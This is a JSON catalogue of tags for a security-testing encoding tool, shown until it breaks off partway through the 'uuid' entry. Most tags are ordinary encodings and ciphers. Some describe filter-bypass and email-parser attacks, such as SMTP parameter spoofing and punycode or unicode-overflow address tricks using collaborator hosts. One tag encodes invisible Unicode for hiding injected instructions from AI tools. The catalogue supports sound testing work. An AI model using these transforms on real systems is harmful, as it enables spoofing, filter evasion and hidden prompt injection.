{"usage":{"callTag":"hv.tags.<name>.encode(input, ...args) - await it when the tag is async. Returns undefined for a tag that isn't registered. Tags listing check under methods also offer hv.tags.<name>.check(input, ...args), which returns a boolean.","expressions":"In tag syntax, <@check(name)>input</@check> outputs true or false. Tags separated by && or ||, with at least one check tag among them, form a JavaScript-style short-circuit expression whose result is the deciding operand's output. Prefix a tag with ! to negate it. Like JSX, a boolean result renders as an empty string.","readVariable":"hv.variables.<path>","setVariable":"hv.setVariable(name, value) - writes hv.variables[name] and wakes any tag waiting for it.","awaitVariable":"hv.awaitVariable(name) - the value if already set, otherwise a promise that resolves when another tag sets it later in the same conversion (return it from encode and it is awaited), or with an empty string once nothing can. This is how <@encode(getVariable,'x') /> may appear before its <@encode(setVariable,'x')>.","availability":"Built-in tags are always registered. Tags with builtIn:false only resolve for users who installed them from the tag store, so avoid depending on them.","environment":"Tags run in a web worker inside a sandboxed iframe: there is no document, window, DOMParser or network, a conversion that has not finished after 15 seconds is stopped, and for what needs a document use the three helpers below.","crypto":"crypto.getRandomValues and crypto.subtle.digest(algorithm, data) work (SHA-1, SHA-256, SHA-384, SHA-512). crypto.randomUUID and the rest of SubtleCrypto (keys, HMAC, encryption) are not available: the worker runs in an opaque origin, which is not a secure context, and digest is done by the sandbox document on its behalf. BigInt is available for arbitrary-precision maths.","decodeHtmlEntities":"hv.decodeHtmlEntities(input) - a promise for the input with its character references decoded exactly as the browser's HTML parser decodes them (return it from decode and it is awaited).","parseXml":"hv.parseXml(input, mimeType = 'text/xml') - a promise for the root element as parsed by the browser's DOMParser, as plain data: { nodeType, nodeName, nodeValue, attributes: [{ name, value }], childNodes: [...] }. mimeType is one of text/xml, application/xml, application/xhtml+xml, image/svg+xml or text/html. A document that does not parse gives the browser's parsererror element.","prompt":"hv.prompt(userPrompt, systemPrompt = '') - a promise for the answer of the browser's built-in language model. Rejects with 'Not available' where there is none. A conversion that prompts may take up to 120 seconds.","sandbox":"The sandbox is frozen before any tag runs: built-ins, the worker's interfaces, hv, the shipped hv.variables entries and every tag instance (once its constructor has finished) are read-only, and assigning to them throws a TypeError. Keep per-call state in local variables. Keys you add to hv.variables stay writable and are shared with the other tags in the conversion.","arguments":"Arguments follow input in the order declared. string, quotelessString and enum arrive as a string, number as a number, boolean as a boolean.","fullVariables":"Add ?variables=full for the complete variable data instead of a summary.","storeTags":"Add ?tags=all to include tags from the tag store."},"counts":{"tags":175,"builtIn":175},"tags":[{"name":"jsArray","description":"Splits on comma and creates a JS array","category":"Array","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(jsArray)>input</@encode>","call":"hv.tags.jsArray.encode(input)"},{"name":"shuffle","description":"This tag splits the input with a comma then shuffles the array and returns the output as a string.","category":"Array","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(shuffle)>input</@encode>","call":"hv.tags.shuffle.encode(input)"},{"name":"sort","description":"This splits the input with a comma and then sorts the array numerically or by string. The order parameter controls the direction.","category":"Array","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This provides the sort order","defaultValue":"asc"}],"example":"<@encode(sort,'asc')>input</@encode>","call":"hv.tags.sort.encode(input, arg1)"},{"name":"unique","description":"This tags splits on comma and removes any duplicates.","category":"Array","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(unique)>input</@encode>","call":"hv.tags.unique.encode(input)"},{"name":"bom","description":"This produces BOM characters for the charset specified in the parameter.","category":"Charsets","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[{"type":"string","help":"This provides the charset - Supported charsets are: UTF-8,UTF16BE,UTF16LE,UTF32BE,UTF32LE,UTF-7,SCSU,BOCU1,GB18030,UTF1,UTF-EBCDIC,UTF-7Modified","defaultValue":"UTF-8"}],"example":"<@encode(bom,'UTF-8') />","call":"hv.tags.bom.encode(input, arg1)"},{"name":"iso2022Escapes","description":"Returns all the ISO-2022-JP escape sequences","category":"Charsets","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(iso2022Escapes) />","call":"hv.tags.iso2022Escapes.encode(input)"},{"name":"overlongUTF8","description":"This tag converts all characters below or equal to 0x7ff into overflow UTF-8 sequences","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"Length of overlong sequence","defaultValue":"6"},{"type":"boolean","help":"Use raw characters or not","defaultValue":"false"}],"example":"<@encode(overlongUTF8,6,false)>input</@encode>","call":"hv.tags.overlongUTF8.encode(input, arg1, arg2)"},{"name":"unicodeNormalization","description":"This tag performs normalization on every unicode character using each normalization form. Then loops through the input and compares the normalized form to the input and replaces the input with the unicode character that transforms to it.","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(unicodeNormalization)>input</@encode>","call":"hv.tags.unicodeNormalization.encode(input)"},{"name":"unicodeTruncation","description":"Converts ASCII characters to characters that end with the hex byte of the character being converted. See https://infosecwriteups.com/6000-with-microsoft-hall-of-fame-microsoft-firewall-bypass-crlf-to-xss-microsoft-bug-bounty-8f6615c47922","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"Position to start from","defaultValue":"20000"},{"type":"number","help":"Position to end","defaultValue":"30000"}],"example":"<@encode(unicodeTruncation,20000,30000)>input</@encode>","call":"hv.tags.unicodeTruncation.encode(input, arg1, arg2)"},{"name":"us_ascii","description":"Shifts the charcodes by 128 to create malformed US-ASCII","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(us_ascii)>input</@encode>","call":"hv.tags.us_ascii.encode(input)"},{"name":"utf16","description":"Standard UTF-16 (big-endian)","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(utf16)>input</@encode>","call":"hv.tags.utf16.encode(input)"},{"name":"utf16BE","description":"utf16BE – UTF-16 Big Endian","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(utf16BE)>input</@encode>","call":"hv.tags.utf16BE.encode(input)"},{"name":"utf16LE","description":"utf16LE – UTF-16 Little Endian","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(utf16LE)>input</@encode>","call":"hv.tags.utf16LE.encode(input)"},{"name":"utf7","description":"This encodes and decodes UTF-7 used in browsers and email parsers.","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[{"type":"string","help":"Provides a prefix","defaultValue":"&"}],"example":"<@encode(utf7,'&')>input</@encode>","call":"hv.tags.utf7.encode(input, arg1)"},{"name":"utf8BytesHex","description":"This converts a unicode character into the UTF-8 bytes and returns the output as hex.","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(utf8BytesHex)>input</@encode>","call":"hv.tags.utf8BytesHex.encode(input)"},{"name":"contains","description":"This tag performs a JS includes on the comparison string","category":"Checks","builtIn":true,"selfClosing":false,"methods":["check"],"arguments":[{"type":"string","help":"The string to compare against","defaultValue":"compare"}],"example":"<@encode(contains,'compare')>input</@encode>","call":"hv.tags.contains.encode(input, arg1)"},{"name":"endsWith","description":"Condition operand: true when the input ends with the given string.","category":"Checks","builtIn":true,"selfClosing":false,"methods":["check"],"arguments":[{"type":"string","help":"The suffix to look for","defaultValue":"suffix"}],"example":"<@encode(endsWith,'suffix')>input</@encode>","call":"hv.tags.endsWith.encode(input, arg1)"},{"name":"equals","description":"This tag performs a strict equal on the comparison string","category":"Checks","builtIn":true,"selfClosing":false,"methods":["check"],"arguments":[{"type":"string","help":"The string to compare against","defaultValue":"equal"}],"example":"<@encode(equals,'equal')>input</@encode>","call":"hv.tags.equals.encode(input, arg1)"},{"name":"isBase64","description":"Condition operand: true when the input is valid standard base64.","category":"Checks","builtIn":true,"selfClosing":false,"methods":["check"],"arguments":[],"example":"<@encode(isBase64)>input</@encode>","call":"hv.tags.isBase64.encode(input)"},{"name":"isEmpty","description":"Condition operand: true when the input is empty or only whitespace.","category":"Checks","builtIn":true,"selfClosing":false,"methods":["check"],"arguments":[],"example":"<@encode(isEmpty)>input</@encode>","call":"hv.tags.isEmpty.encode(input)"},{"name":"isJson","description":"Checks if the input is json","category":"Checks","builtIn":true,"selfClosing":false,"methods":["check"],"arguments":[],"example":"<@encode(isJson)>input</@encode>","call":"hv.tags.isJson.encode(input)"},{"name":"isNumeric","description":"Checks if the input is numeric, can be used in conjunction with other tags using && or || or !negation","category":"Checks","builtIn":true,"selfClosing":false,"methods":["check"],"arguments":[],"example":"<@encode(isNumeric)>input</@encode>","call":"hv.tags.isNumeric.encode(input)"},{"name":"matchesRegex","description":"Condition operand: true when the input matches the given regular expression.","category":"Checks","builtIn":true,"selfClosing":false,"methods":["check"],"arguments":[{"type":"string","help":"The regular expression pattern","defaultValue":".*"},{"type":"string","help":"Regex flags, e.g. i or gm","defaultValue":""}],"example":"<@encode(matchesRegex,'.*','')>input</@encode>","call":"hv.tags.matchesRegex.encode(input, arg1, arg2)"},{"name":"startsWith","description":"Condition operand: true when the input starts with the given string.","category":"Checks","builtIn":true,"selfClosing":false,"methods":["check"],"arguments":[{"type":"string","help":"The prefix to look for","defaultValue":"prefix"}],"example":"<@encode(startsWith,'prefix')>input</@encode>","call":"hv.tags.startsWith.encode(input, arg1)"},{"name":"affine","description":"Affine cipher: encodes each letter as (a*x + b) mod 26. 'a' must be coprime with 26. Decode uses the modular inverse.","category":"Cipher","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[{"type":"number","help":"The multiplier (must be coprime with 26)","defaultValue":"5"},{"type":"number","help":"The additive key","defaultValue":"8"}],"example":"<@encode(affine,5,8)>input</@encode>","call":"hv.tags.affine.encode(input, arg1, arg2)"},{"name":"atbash","description":"Atbash cipher: maps A to Z, B to Y and so on. It is its own inverse.","category":"Cipher","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(atbash)>input</@encode>","call":"hv.tags.atbash.encode(input)"},{"name":"caesar","description":"Caesar / ROT-N cipher: shifts letters by the given amount (default 13). Decode shifts the other way.","category":"Cipher","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[{"type":"number","help":"The number of places to shift","defaultValue":"13"}],"example":"<@encode(caesar,13)>input</@encode>","call":"hv.tags.caesar.encode(input, arg1)"},{"name":"railFence","description":"Rail fence transposition cipher. Writes the text in a zig-zag over the given number of rails then reads it off row by row.","category":"Cipher","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[{"type":"number","help":"The number of rails","defaultValue":"3"}],"example":"<@encode(railFence,3)>input</@encode>","call":"hv.tags.railFence.encode(input, arg1)"},{"name":"vigenere","description":"Vigenère cipher using a keyword. Letters are shifted by the key; non-letters pass through. Decode reverses it.","category":"Cipher","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[{"type":"string","help":"The keyword","defaultValue":"key"}],"example":"<@encode(vigenere,'key')>input</@encode>","call":"hv.tags.vigenere.encode(input, arg1)"},{"name":"deflate","description":"Deflate compression and decompression","category":"Compression","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(deflate)>input</@encode>","call":"hv.tags.deflate.encode(input)"},{"name":"gzip","description":"This compresses and decompresses GZIP","category":"Compression","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(gzip)>input</@encode>","call":"hv.tags.gzip.encode(input)"},{"name":"rawDeflate","description":"Compresses and decompresses raw deflate","category":"Compression","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(rawDeflate)>input</@encode>","call":"hv.tags.rawDeflate.encode(input)"},{"name":"ai","description":"This tag uses Chrome's local model to pass a prompt and return the results","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This is the system prompt for the AI","defaultValue":"Reverse this text"}],"example":"<@encode(ai,'Reverse this text')>input</@encode>","call":"hv.tags.ai.encode(input, arg1)"},{"name":"autodecode","description":"This tag attempts to detect and decode layers of encoding.","category":"Convert","builtIn":true,"selfClosing":false,"methods":[],"arguments":[],"example":"<@encode(autodecode)>input</@encode>","call":"hv.tags.autodecode.encode(input)"},{"name":"base32","description":"This tag encodes and decodes base32","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(base32)>input</@encode>","call":"hv.tags.base32.encode(input)"},{"name":"base45","description":"Base45 (RFC 9285) encode and decode, as used in EU Digital COVID Certificate QR codes.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(base45)>input</@encode>","call":"hv.tags.base45.encode(input)"},{"name":"base58","description":"This tag decodes and encodes base58","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(base58)>input</@encode>","call":"hv.tags.base58.encode(input)"},{"name":"base62","description":"This does base62 encoding and decoding","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(base62)>input</@encode>","call":"hv.tags.base62.encode(input)"},{"name":"base64","description":"This tag encodes and decodes base64 using browser APIs atob and btoa.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(base64)>input</@encode>","call":"hv.tags.base64.encode(input)"},{"name":"base64Url","description":"This performs base64 URL encoding often used with JWT","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(base64Url)>input</@encode>","call":"hv.tags.base64Url.encode(input)"},{"name":"base85","description":"This tag encodes and decodes base85 encoding","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(base85)>input</@encode>","call":"hv.tags.base85.encode(input)"},{"name":"base91","description":"This tag converts base91 data","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(base91)>input</@encode>","call":"hv.tags.base91.encode(input)"},{"name":"binary","description":"This tag converts ascii to binary","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(binary)>input</@encode>","call":"hv.tags.binary.encode(input)"},{"name":"cssEscape","description":"This tag provides CSS escapes and decoding","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[{"type":"number","help":"This provides the number of characters to pad","defaultValue":"2"}],"example":"<@encode(cssEscape,2)>input</@encode>","call":"hv.tags.cssEscape.encode(input, arg1)"},{"name":"csvToJson","description":"Parses CSV with a header row into a JSON array of objects. Handles quoted fields; the delimiter is configurable.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"The field delimiter","defaultValue":","}],"example":"<@encode(csvToJson,',')>input</@encode>","call":"hv.tags.csvToJson.encode(input, arg1)"},{"name":"dec","description":"Converts decimal entities","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(dec)>input</@encode>","call":"hv.tags.dec.encode(input)"},{"name":"extractAscii","description":"This tag gathers all ascii characters and removes the rest.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(extractAscii)>input</@encode>","call":"hv.tags.extractAscii.encode(input)"},{"name":"fullWidth","description":"This converts ascii characters into their full width forms.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(fullWidth)>input</@encode>","call":"hv.tags.fullWidth.encode(input)"},{"name":"hex","description":"Converts hex entities","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[{"type":"string","help":"This provides the prefix","defaultValue":"&#x"},{"type":"string","help":"This provides the suffix","defaultValue":";"}],"example":"<@encode(hex,'&#x',';')>input</@encode>","call":"hv.tags.hex.encode(input, arg1, arg2)"},{"name":"hexBytes","description":"This encodes and decodes hex bytes","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(hexBytes)>input</@encode>","call":"hv.tags.hexBytes.encode(input)"},{"name":"hexEscape","description":"This tag provides hex escapes and decoding","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(hexEscape)>input</@encode>","call":"hv.tags.hexEscape.encode(input)"},{"name":"hexSpace","description":"Converts hex with spaces","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(hexSpace)>input</@encode>","call":"hv.tags.hexSpace.encode(input)"},{"name":"html","description":"This tag HTML encodes and decodes.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(html)>input</@encode>","call":"hv.tags.html.encode(input)"},{"name":"invisibleUnicode","description":"Encodes and decodes invisible Unicode tag characters. Based on: https://lirantal.com/blog/gemini-cli-invisible-unicode-skill-injection","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(invisibleUnicode)>input</@encode>","call":"hv.tags.invisibleUnicode.encode(input)"},{"name":"js","description":"This tag executes JavaScript","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(js)>input</@encode>","call":"hv.tags.js.encode(input)"},{"name":"jsAsync","description":"This tag executes JavaScript asynchronously","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(jsAsync)>input</@encode>","call":"hv.tags.jsAsync.encode(input)"},{"name":"jsonEscape","description":"Escapes a string for embedding in JSON (encode) and unescapes a JSON string body (decode).","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(jsonEscape)>input</@encode>","call":"hv.tags.jsonEscape.encode(input)"},{"name":"jsonToYaml","description":"Converts JSON to block-style YAML.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(jsonToYaml)>input</@encode>","call":"hv.tags.jsonToYaml.encode(input)"},{"name":"malformedUrl","description":"This tag emulates a defective encoder found on a web site.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(malformedUrl)>input</@encode>","call":"hv.tags.malformedUrl.encode(input)"},{"name":"morse","description":"International Morse code. Letters are separated by spaces and words by ' / '. Decode reverses it.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(morse)>input</@encode>","call":"hv.tags.morse.encode(input)"},{"name":"octal","description":"This tag encodes and decodes octal escapes","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(octal)>input</@encode>","call":"hv.tags.octal.encode(input)"},{"name":"phpChr","description":"Encodes and decodes as the php chr() function","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(phpChr)>input</@encode>","call":"hv.tags.phpChr.encode(input)"},{"name":"punycode","description":"This tag converts Punycode","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(punycode)>input</@encode>","call":"hv.tags.punycode.encode(input)"},{"name":"queryStringToJson","description":"Parses a URL query string into a JSON object. Repeated keys become arrays.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(queryStringToJson)>input</@encode>","call":"hv.tags.queryStringToJson.encode(input)"},{"name":"quotedPrintable","description":"Quoted-printable (RFC 2045) encode and decode, with soft line breaks at 76 characters.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(quotedPrintable)>input</@encode>","call":"hv.tags.quotedPrintable.encode(input)"},{"name":"templateStringExpression","description":"This tag wraps in the input in an eval and backticks","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(templateStringExpression)>input</@encode>","call":"hv.tags.templateStringExpression.encode(input)"},{"name":"unicode","description":"This tag provides unicode escapes and decoding","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(unicode)>input</@encode>","call":"hv.tags.unicode.encode(input)"},{"name":"unicodeEs6","description":"This tag provides ES6 unicode escapes and decoding","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(unicodeEs6)>input</@encode>","call":"hv.tags.unicodeEs6.encode(input)"},{"name":"url","description":"This tag does URL encode and decode","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(url)>input</@encode>","call":"hv.tags.url.encode(input)"},{"name":"url_all","description":"This tag URL encodes all characters","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(url_all)>input</@encode>","call":"hv.tags.url_all.encode(input)"},{"name":"yamlToJson","description":"Converts a common subset of YAML (block maps/sequences, flow collections, scalars) to formatted JSON.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(yamlToJson)>input</@encode>","call":"hv.tags.yamlToJson.encode(input)"},{"name":"zalgo","description":"This tag produces zalgo text that goes upwards and downwards","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This provides the number of zalgo characters to repeat","defaultValue":"20"}],"example":"<@encode(zalgo,20)>input</@encode>","call":"hv.tags.zalgo.encode(input, arg1)"},{"name":"zbase32","description":"This performs zbase32 encoding","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(zbase32)>input</@encode>","call":"hv.tags.zbase32.encode(input)"},{"name":"dateToTimestamp","description":"Parses a date string and returns a Unix timestamp in seconds (or milliseconds).","category":"Datetime","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"enum","help":"The unit to output","defaultValue":"seconds","values":["seconds","milliseconds"]}],"example":"<@encode(dateToTimestamp,'seconds')>input</@encode>","call":"hv.tags.dateToTimestamp.encode(input, arg1)"},{"name":"now","description":"Inserts the current Unix timestamp.","category":"Datetime","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[{"type":"enum","help":"The unit to output","defaultValue":"seconds","values":["seconds","milliseconds"]}],"example":"<@encode(now,'seconds') />","call":"hv.tags.now.encode(input, arg1)"},{"name":"timestampToDate","description":"Converts a Unix timestamp to an ISO 8601 UTC date. Auto-detects seconds vs milliseconds, or force it with the argument.","category":"Datetime","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"enum","help":"How to read the number","defaultValue":"auto","values":["auto","seconds","milliseconds"]}],"example":"<@encode(timestampToDate,'auto')>input</@encode>","call":"hv.tags.timestampToDate.encode(input, arg1)"},{"name":"encodedWord","description":"Encodes and decode encoded word.","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(encodedWord)>input</@encode>","call":"hv.tags.encodedWord.encode(input)"},{"name":"encodedWordMeta","description":"This tag creates the meta data required for encoded word in email parsing attacks. You can read more about it here:\r\nhttps://portswigger.net/research/splitting-the-email-atom","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"Provides a charset","defaultValue":"iso-8859-1"},{"type":"quotelessString","help":"Provides a encoding type: q or b is supported","defaultValue":"q"}],"example":"<@encode(encodedWordMeta,'iso-8859-1',q)>input</@encode>","call":"hv.tags.encodedWordMeta.encode(input, arg1, arg2)"},{"name":"percentRoute","description":"Builds percent‑hack or source‑route flavoured addresses. Two styles: paren gives local%route(@dest and bracket gives local%route@[ip].","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"Route domain to use after %","defaultValue":"psres.net"},{"type":"string","help":"Style paren or bracket","defaultValue":"paren"},{"type":"string","help":"Destination domain or address","defaultValue":"example.com"}],"example":"<@encode(percentRoute,'psres.net','paren','example.com')>input</@encode>","call":"hv.tags.percentRoute.encode(input, arg1, arg2, arg3)"},{"name":"punyCommaSplit","description":"This tag creates an email address where the domain portion is split using a malformed Punycode label that some buggy IDN libraries interpret as a comma (xn--0049). ","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"Left domain","defaultValue":"example.com"},{"type":"string","help":"Right domain","defaultValue":"oastify.com"}],"example":"<@encode(punyCommaSplit,'example.com','oastify.com')>input</@encode>","call":"hv.tags.punyCommaSplit.encode(input, arg1, arg2)"},{"name":"punyStyleOpen","description":"Produces an address that decodes under buggy IDN to start an HTML <style tag.","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(punyStyleOpen)>input</@encode>","call":"hv.tags.punyStyleOpen.encode(input)"},{"name":"smtpParameters","description":"This tag creates a SMTP parameter attack. I've found this attack on a live target. The parameters specify your collaborator payload and domain. The input should contain the email you want to spoof.","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This is your collaborator payload","defaultValue":"collab"},{"type":"string","help":"This is your collaborator domain","defaultValue":"oastify.com"}],"example":"<@encode(smtpParameters,'collab','oastify.com')>input</@encode>","call":"hv.tags.smtpParameters.encode(input, arg1, arg2)"},{"name":"unicodeOverflow","description":"This creates a unicode overflow that is described in my research:\r\nhttps://portswigger.net/research/splitting-the-email-atom","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This specifies a mask to use to create the overflow. Mask is simply a number that when combined with the character creates an overflow.","defaultValue":"0x100"}],"example":"<@encode(unicodeOverflow,0x100)>input</@encode>","call":"hv.tags.unicodeOverflow.encode(input, arg1)"},{"name":"unicodeOverflowVariations","description":"This tag generates multiple variations of unicode overflows.","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"Provides the maximum codepoint","defaultValue":"0xfff"}],"example":"<@encode(unicodeOverflowVariations,0xfff)>input</@encode>","call":"hv.tags.unicodeOverflowVariations.encode(input, arg1)"},{"name":"uucpBang","description":"Creates a bang‑path address to tickle UUCP style routing quirks in mailers.","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"UUCP relay domain","defaultValue":"oastify.com"},{"type":"boolean","help":"Escape the @ in the inner address set to true or false","defaultValue":"true"}],"example":"<@encode(uucpBang,'oastify.com',true)>input</@encode>","call":"hv.tags.uucpBang.encode(input, arg1, arg2)"},{"name":"aes","description":"AES encrypt (encode) and decrypt (decode) in CBC, GCM, CTR or ECB mode. Auto-generated IVs are prepended to the output.","category":"Encrypt","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[{"type":"enum","help":"Block cipher mode","defaultValue":"CBC","values":["CBC","GCM","CTR","ECB"]},{"type":"string","help":"The key","defaultValue":"secret"},{"type":"enum","help":"How the key is encoded","defaultValue":"utf8","values":["utf8","hex","base64"]},{"type":"quotelessString","help":"IV/nonce as hex (blank = random on encrypt, read from the prefix on decrypt)","defaultValue":""},{"type":"enum","help":"Ciphertext format","defaultValue":"base64","values":["base64","hex"]}],"example":"<@encode(aes,'CBC','secret','utf8',,'base64')>input</@encode>","call":"hv.tags.aes.encode(input, arg1, arg2, arg3, arg4, arg5)"},{"name":"rot13","description":"This rot13 tag encodes and decodes text by shifting letters 13 positions in the alphabet.","category":"Encrypt","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(rot13)>input</@encode>","call":"hv.tags.rot13.encode(input)"},{"name":"rot47","description":"The rot47 tag encodes and decodes text by shifting ASCII characters 47 positions.","category":"Encrypt","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(rot47)>input</@encode>","call":"hv.tags.rot47.encode(input)"},{"name":"rsa","description":"RSA encrypt with a public key (encode) and decrypt with a private key (decode). PEM keys, OAEP(SHA-256) or PKCS#1 v1.5.","category":"Encrypt","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[{"type":"string","help":"RSA key in PEM format (public for encode, private for decode)","defaultValue":""},{"type":"enum","help":"Padding scheme","defaultValue":"OAEP","values":["OAEP","PKCS1_v1_5"]},{"type":"enum","help":"Ciphertext format","defaultValue":"base64","values":["base64","hex"]}],"example":"<@encode(rsa,'','OAEP','base64')>input</@encode>","call":"hv.tags.rsa.encode(input, arg1, arg2, arg3)"},{"name":"xor","description":"This xor tag encodes and decodes text using a bitwise XOR operation with a given key.","category":"Encrypt","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This provides the key to use","defaultValue":"key"}],"example":"<@encode(xor,'key')>input</@encode>","call":"hv.tags.xor.encode(input, arg1)"},{"name":"randomBytes","description":"Generates cryptographically random bytes as hex or base64.","category":"Generate","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[{"type":"number","help":"How many bytes to generate","defaultValue":16},{"type":"enum","help":"Output format","defaultValue":"hex","values":["hex","base64"]}],"example":"<@encode(randomBytes,16,'hex') />","call":"hv.tags.randomBytes.encode(input, arg1, arg2)"},{"name":"randomString","description":"Generates a random string of the given length from a chosen character set.","category":"Generate","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[{"type":"number","help":"How many characters to generate","defaultValue":16},{"type":"enum","help":"Character set","defaultValue":"alphanumeric","values":["alphanumeric","alphabetic","lowercase","uppercase","numeric","hex","ascii_printable"]}],"example":"<@encode(randomString,16,'alphanumeric') />","call":"hv.tags.randomString.encode(input, arg1, arg2)"},{"name":"uuid","description":"Generates a random RFC 4122 version 4 UUID using the crypto API.","category":"Generate","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(uuid) 